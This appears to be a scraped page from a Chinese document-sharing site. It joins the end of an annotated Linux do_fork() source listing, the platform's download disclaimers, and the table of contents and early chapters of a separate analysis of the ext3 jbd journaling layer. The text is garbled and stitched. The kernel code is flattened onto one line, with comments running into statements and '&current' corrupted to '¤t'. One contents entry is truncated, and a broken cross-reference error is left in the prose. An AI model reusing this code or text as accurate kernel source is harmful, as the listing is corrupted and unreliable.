p->it_virt_incr = p->it_prof_incr = 0;init_timer(&p->real_timer);p->real_timer.data = (unsigned long) p;p->leader = 0; /* session leadership doesn't inherit */p->tty_old_pgrp = 0;p->times.tms_utime = p->times.tms_stime = 0;p->times.tms_cutime = p->times.tms_cstime = 0;#ifdef CONFIG_SMP{int i;/* ?? should we just memset this ?? */for(i = 0; i < smp_num_cpus; i++)p->per_cpu_utime[cpu_logical_map(i)] =p->per_cpu_stime[cpu_logical_map(i)] = 0;spin_lock_init(&p->sigmask_lock);}#endifp->array = NULL;p->lock_depth = -1; /* -1 = 没有锁*/p->start_time = jiffies_64;/* 将当前的jiffies值作为子进程的创建时间*//* task_struct结构初始化完毕*/retval = -ENOMEM;/* copy all the process information */if (copy_files(clone_flags, p))/* 复制所有的进程信息,根据clone_flags复制或共享父进程的打开文件表*/goto bad_fork_cleanup;if (copy_fs(clone_flags, p))/* 根据clone_flags复制或共享父进程的系统信息*/ goto bad_fork_cleanup_files;if (copy_sighand(clone_flags, p))/* 根据clone_flags复制或共享父进程的信号处理句柄*/goto bad_fork_cleanup_fs;if (copy_mm(clone_flags, p))/* 根据clone_flags复制或共享父进程的存储管理信息*/goto bad_fork_cleanup_sighand;if (copy_namespace(clone_flags, p))/* 为子进程复制父进程系统空间堆栈*/ goto bad_fork_cleanup_mm;/* 若系统空间堆栈复制失败跳转至bad_fork_cleanup_mm */retval = copy_thread(0, clone_flags, stack_start, stack_size, p, regs);if (retval)goto bad_fork_cleanup_namespace;p->semundo = NULL;/* 将子进程task_struct结构的self_exec_id赋给parent_exec_id */ p->parent_exec_id = p->self_exec_id;p->swappable = 1;/* 新进程已经完成初始化,可以换出内存,所以将p->swappable 赋1 */p->exit_signal = clone_flags & CSIGNAL;/* 设置系统强行退出时发出的信号*/ p->pdeath_signal = 0;/* 设置p->pdeath_signal *//* * Share the timeslice between parent and child, thus the* total amount of pending timeslices in the system doesnt change,* resulting in more scheduling fairness.*/__save_flags(flags);__cli();if (!current->time_slice)/* 将父进程的时间片减半*/BUG();p->time_slice = (current->time_slice + 1) >> 1;p->first_time_slice = 1;current->time_slice >>= 1;p->sleep_timestamp = jiffies;if (!current->time_slice) {current->time_slice = 1;scheduler_tick(0,0);}__restore_flags(flags);retval = p->pid;/* 如果一切顺利,将子进程的pid作为返回值*/p->tgid = retval;INIT_LIST_HEAD(&p->thread_group);/* Need tasklist lock for parent etc handling! */write_lock_irq(&tasklist_lock);/* 给进程队列加锁*//* CLONE_PARENT re-uses the old parent */p->p_opptr = current->p_opptr;p->p_pptr = current->p_pptr;if (!(clone_flags & CLONE_PARENT)) {p->p_opptr = current;if (!(p->ptrace & PT_PTRACED))p->p_pptr = current;}if (clone_flags & CLONE_THREAD) {p->tgid = current->tgid;list_add(&p->thread_group, ¤t->thread_group);}SET_LINKS(p);/* 将子进程的task_struct结构链入进程队列*/hash_pid(p);/* 将子进程的task_struct结构链入进程hash表*/nr_threads++;/* 系统进程计数递增一*/write_unlock_irq(&tasklist_lock);/* 解除对进程队列的封锁*/if (p->ptrace & PT_PTRACED)send_sig(SIGSTOP, p, 1);wake_up_forked_process(p); /* 最后做这件事,唤醒子进程*/++total_forks;/* total_forks增一*/if (clone_flags & CLONE_VFORK)wait_for_completion(&vfork);elsecurrent->need_resched = 1;fork_out:/* 若是vfork()调用do_fork,发down信号*/return retval;/* 退出do_fork(),返回retval值*/bad_fork_cleanup_namespace:exit_namespace(p);bad_fork_cleanup_mm:exit_mm(p);bad_fork_cleanup_sighand:/* 处理子进程task_struct结构与信号处理相关的数据成员, 并删除信号队列中与子进程相* 关的信号量*/exit_sighand(p);bad_fork_cleanup_fs:/* 处理子进程task_struct结构与文件系统信息相关的数据成员*/exit_fs(p); /* blocking */bad_fork_cleanup_files:/* 处理子进程task_struct结构与打开文件表相关的数据成员, 并释放子进程的files_struct* 结构*/exit_files(p); /* blocking */bad_fork_cleanup:/* 若正在执行的代码是符合iBCS2标准的程序,则减少相对应模块的引用数目*/put_exec_domain(p->exec_domain);if (p->binfmt && p->binfmt->module)__MOD_DEC_USE_COUNT(p->binfmt->module);bad_fork_cleanup_count:/* 若正在执行的代码属于全局执行文件结构格式则减少相对应模块的引用数目*/atomic_dec(&p->user->processes);free_uid(p->user);/* 清除子进程在user队列中的信息*/bad_fork_free:free_task_struct(p);/* 释放子进程的task_struct结构*/goto fork_out;}三)、程序框图如下:2、exec.c一)、概述进程通常是由父进程复制出来的(由fork()或clone())。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
一、前言——为什么要写这篇文章 (3)二、提出问题——jbd要解决什么问题 (4)三、解决问题——jbd是如何解决的 (5)1.将对文件系统的某些操作抽象成原子操作 (5)2.将若干个原子操作组合成一个事务 (5)3.在磁盘上单独划分一个日志空间 (5)4.将内存中事务的数据写到日志中 (6)5.崩溃吧,然后我们从日志中恢复数据 (6)四、介绍几个概念——名正然后言顺 (7)1.buffer_head (7)2.元数据块 (7)3.handle (7)4.transaction (7)5.journal (7)mit (7)7.checkpoint (8)8.revoke (8)9.recover (8)10.kjournald (8)五、介绍几个数据结构——珍珠 (9)1.handle_t (9)2.transaction_t (9)3.journal_t (11)4.journal_superblock_t (14)5.journal_head (15)6.journal_header_t (16)六、日志在磁盘上的布局——一图胜千言 (17)1.超级块JFS_SUPERBLOCK_V1、JFS_SUPERBLOCK_V2 (17)2.描述符块JFS_DESCRIPTOR_BLOCK (18)3.提交块JFS_COMMIT_BLOCK (21)4.取消块JFS_REVOKE_BLOCK (21)5.日志布局 (22)七、三种日志模式 (24)1.日志(journal ) (24)2.预定(ordered ) (24)3.写回(writeback ) (24)八、jbd基本操作 (25)1.journal_start (25)2.journal_stop (25)3.journal_get_create_access (27)4.journal_get_write_access (29)5.journal_get_undo_access (32)6.journal_dirty_data (34)7.journal_dirty_metadata (35)8.journal_forget (36)9.journal_revoke (38)10.journal_extend (42)11.元数据缓冲区处理流程 (43)12.数据缓冲区处理流程 (46)九、等待提交事务kjournald——我们时刻准备着 (49)十、提交事务——我们放心了 (50)1.journal_commit_transaction (50)2.__journal_clean_checkpoint_list (60)3.journal_submit_data_buffers (62)4.journal_write_revoke_records (64)5.journal_write_metadata_buffer (66)6.journal_write_commit_record (68)十一、数据块缓冲区状态转移图 (70)十二、元数据块缓冲区状态转移图 (71)十三、恢复日志——奇迹发生了 (72)1.恢复前的准备工作 (72)2.journal_recover函数 (72)3.恢复步骤1:PASS_SCAN (73)4.恢复步骤2:PASS_REVOKE (75)5.恢复步骤3:PASS_REPLAY (80)6.恢复后的设置工作 (84)十四、参考资料 (87)journal block device (jbd)源代码分析——ext3日志机制分析一、前言——为什么要写这篇文章在阅读ext3源代码的时候,才对什么是日志型文件系统有了更深刻的了解。
内核里单独抽象了一个层次,称之为journal block device,简称为jbd,位于fs/jbd/目录,专门用于块设备的日志管理。
细数其源代码,不到万行,但是相关的分析资料,少之又少,有两篇介绍jbd概念的,说得比较清楚,但是对着源代码看,仍然不得要领。
于是痛下苦功,反复阅读代码,力求得到正解,今感觉略有小成,写出来供大家学习、批评指正,以期去伪存真。
本文分析的内核代码版本2.6.35,主要是fs/jbd和fs/ext3 两个目录。
本文假设物理磁盘块大小512B,文件系统块大小1KB。
文件系统组织物理磁盘块时是以格式化时设定的块大小为单位的,称谓文件系统块,下文有时会为了行文方便,称文件系统块为磁盘块。
读者在阅读本文前,最好对Linux VFS和ext2的相关概念比较熟悉,比如inode、磁盘块位图、三级磁盘块索引、块组等等。
“纸上得来终觉浅,绝知此事要躬行”。
希望本文能够起到一个抛砖引玉的作用,要想获得更多的收获,还是得靠自己分析源代码。
源码在前,了无秘密。
还有一点说明,我想将本文写成一篇技术文章,并不想写成论文,所以在参考文献的引用方面就不严格按照写论文的方式了,那样太费时间。
我把主要的参考文献集中放在文章的末尾。
建议读者可以先读读参考文献,再阅读本文。
限于水平有限,代码中有些逻辑我还是没有搞清楚的,有些英文的翻译也欠斟酌,文章排版、详略、章节布局等也有很多待改进的地方。
希望大家提出宝贵修改建议。
作者:潘卫平邮件:panweiping3@博客:二、提出问题——jbd要解决什么问题本章主要是说明jbd要解决什么问题,或者说ext2的缺点在哪里,因为ext3与ext2的主要差别就在于ext3在ext2的基础上增加了日志功能。
假设你正在运行一个Linux系统,运行一个程序,在一个ext2分区上不断地读写磁盘文件。
突然断电了,或者系统崩溃了,你的心里肯定会咯噔一下:“磁盘分区没坏吧?文件还完整么?”告诉你一个不幸的消息,文件可能不完整了,文件可能已经损坏了,甚至该分区不能再被挂载了。
也就是说,意外的系统崩溃,可能会使ext2文件系统处于一个不一致的状态。
假设你的运气好一点,分区仍能被识别,但是重新挂载时,如果发现分区处于不一致状态,那么系统会自动调用fsck程序,尝试将文件系统恢复到一致的状态。
那将是一个非常漫长的过程,并且随着磁盘容量的增大,花费的时间也越长,有时需要长达几个小时。
这样会极大地影响系统的可用性。
总之,jbd的主要目的不是减少系统崩溃的概率,而是系统正常运行时,尽量使文件系统处于一个一致的状态,以及系统崩溃后,尽可能减少使文件系统重新处于一致性状态的时间。
通过减少维护时间,增加系统的可用性。
三、解决问题——jbd是如何解决的本章从总体上说明ext3采用什么方式解决第二章提出的问题。
提到一致性,大家可能会联想到数据库里面的事务的概念,因为事务有四个基本属性:1)原子性事务必须是原子工作单元;对于其数据修改,要么全都执行,要么全都不执行。
2)一致性事务在完成时,必须使所有的数据都保持一致状态。
3)隔离性由并发事务所做的修改必须与任何其他并发事务所做的修改隔离。
事务识别数据时数据所处的状态,要么是另一并发事务修改它之前的状态,要么是第二个事务修改它之后的状态,事务不会识别中间状态的数据。
4)持久性事务完成之后,它对于系统的影响是永久性的。
该修改即使出现系统故障也将一直保持。
文件系统的开发者借用了数据库中事务的思想,将其应用于文件系统上,以期保证对文件系统操作的原子性、隔离性,尽量使文件系统处于一致性。
1.将对文件系统的某些操作抽象成原子操作所谓原子操作,就是内部不再分割的操作,该操作要么完全完成,要么根本没有执行,不存在部分完成的状态。
那么,什么样的操作可以看成对文件系统的原子操作呢?往一个磁盘文件中追加写入1MB字节可以看成一个原子操作么?这个操作其实比较大,因为要写1MB的数据,要为文件分配1024个磁盘块,同时还要分配若干个索引块,也会涉及到很多的磁盘块位图、块组块的读写,非常复杂,时间也会比较长,中间出问题的机会就比较多,所以不适宜看做一个原子操作。
那么,什么样的操作可以看成对文件系统的原子操作呢?比如说为文件分配一个磁盘块,就看成一个原子操作就比较合适。
分配一个磁盘块,可能需要修改一个inode块、一个磁盘块位图、最多三个间接索引块、块组块、超级块,一共最多7个磁盘块。
将分配一个磁盘块看成一个原子操作,意味着上述修改7个磁盘块的操作要么都成功,要么都失败,不可能有第三种状态。
2.将若干个原子操作组合成一个事务实现日志文件系统时,可以将一个原子操作就作为一个事务来处理,但是这样实现的效率比较低。
于是ext3中将若干个原子操作组合成一个事务,对磁盘日志以事务为单位进行管理,以提高读写日志的效率。
3.在磁盘上单独划分一个日志空间日志,在这里指的是磁盘上存储事务数据的那个地方,即若干磁盘块。
它可以以一个单独的文件形式存在,也可以由文件系统预留一个inode和一些磁盘块,也可以是一个单独的磁盘分区。
总之,就是磁盘上存储事务数据的那个地方。
提到日志时,可能还有另外一种含义,就是指它是一种机制,用于管理内存中的缓冲区、事务、磁盘日志数据读写等等所有这一切,统称为日志。
读者注意根据上下文进行区分。
4.将内存中事务的数据写到日志中文件系统可以选择定期(每隔5秒,或用户指定的时间间隔)或者立即将内存中的事务数据写到磁盘日志上,以备发生系统崩溃后可以利用日志中的数据恢复,重新使文件系统保持一致的状态。
这个间隔时间的选取,要注意性能的平衡。
时间间隔越短,文件系统丢失的数据可能性就越少,一致性的时间点就越新,但是IO负担就越重,很可能就会影响系统的性能。
反过来,时间间隔越大,文件系统丢失的数据可能就越多,一致性的时间点就越旧,但是IO负担就比较轻,不太会影响系统的性能。
5.崩溃吧,然后我们从日志中恢复数据我们不期望崩溃,但是崩溃总会发生的,如果发生了,那就直面惨淡的人生吧!重新挂载分区时,会根据日志中记录的数据,逐一将其写回到磁盘原始位置上,以保证文件系统的一致性。
起死回生的奇迹发生了。
jbd的思想就是原来内核读写磁盘的逻辑保持不变,但是对于影响文件系统一致性的数据块(即元数据块,第四章会详细解释),及时地写到磁盘上的日志空间中去。
这样,即使系统崩溃了,也能从日志中恢复数据,确保文件系统的一致性。
如错误!未找到引用源。
,其中绿色的箭头表示正常的磁盘读写,紫色的箭头表示由jbd将元数据块额外写一份到磁盘日志中,红色箭头表示恢复时,由jbd将日志中的数据写回磁盘的原始位置。
图表 1 jbd数据流图四、介绍几个概念——名正然后言顺1.buffer_headbuffer_head是内核一个用于管理磁盘缓冲区的数据结构。
根据局部性原理,磁盘上的数据进入内存后一般都是存放在磁盘缓冲区中的,以备将来重复读写。
所以说,一个buffer_head就会对应一个文件系统块,即对应一个磁盘块。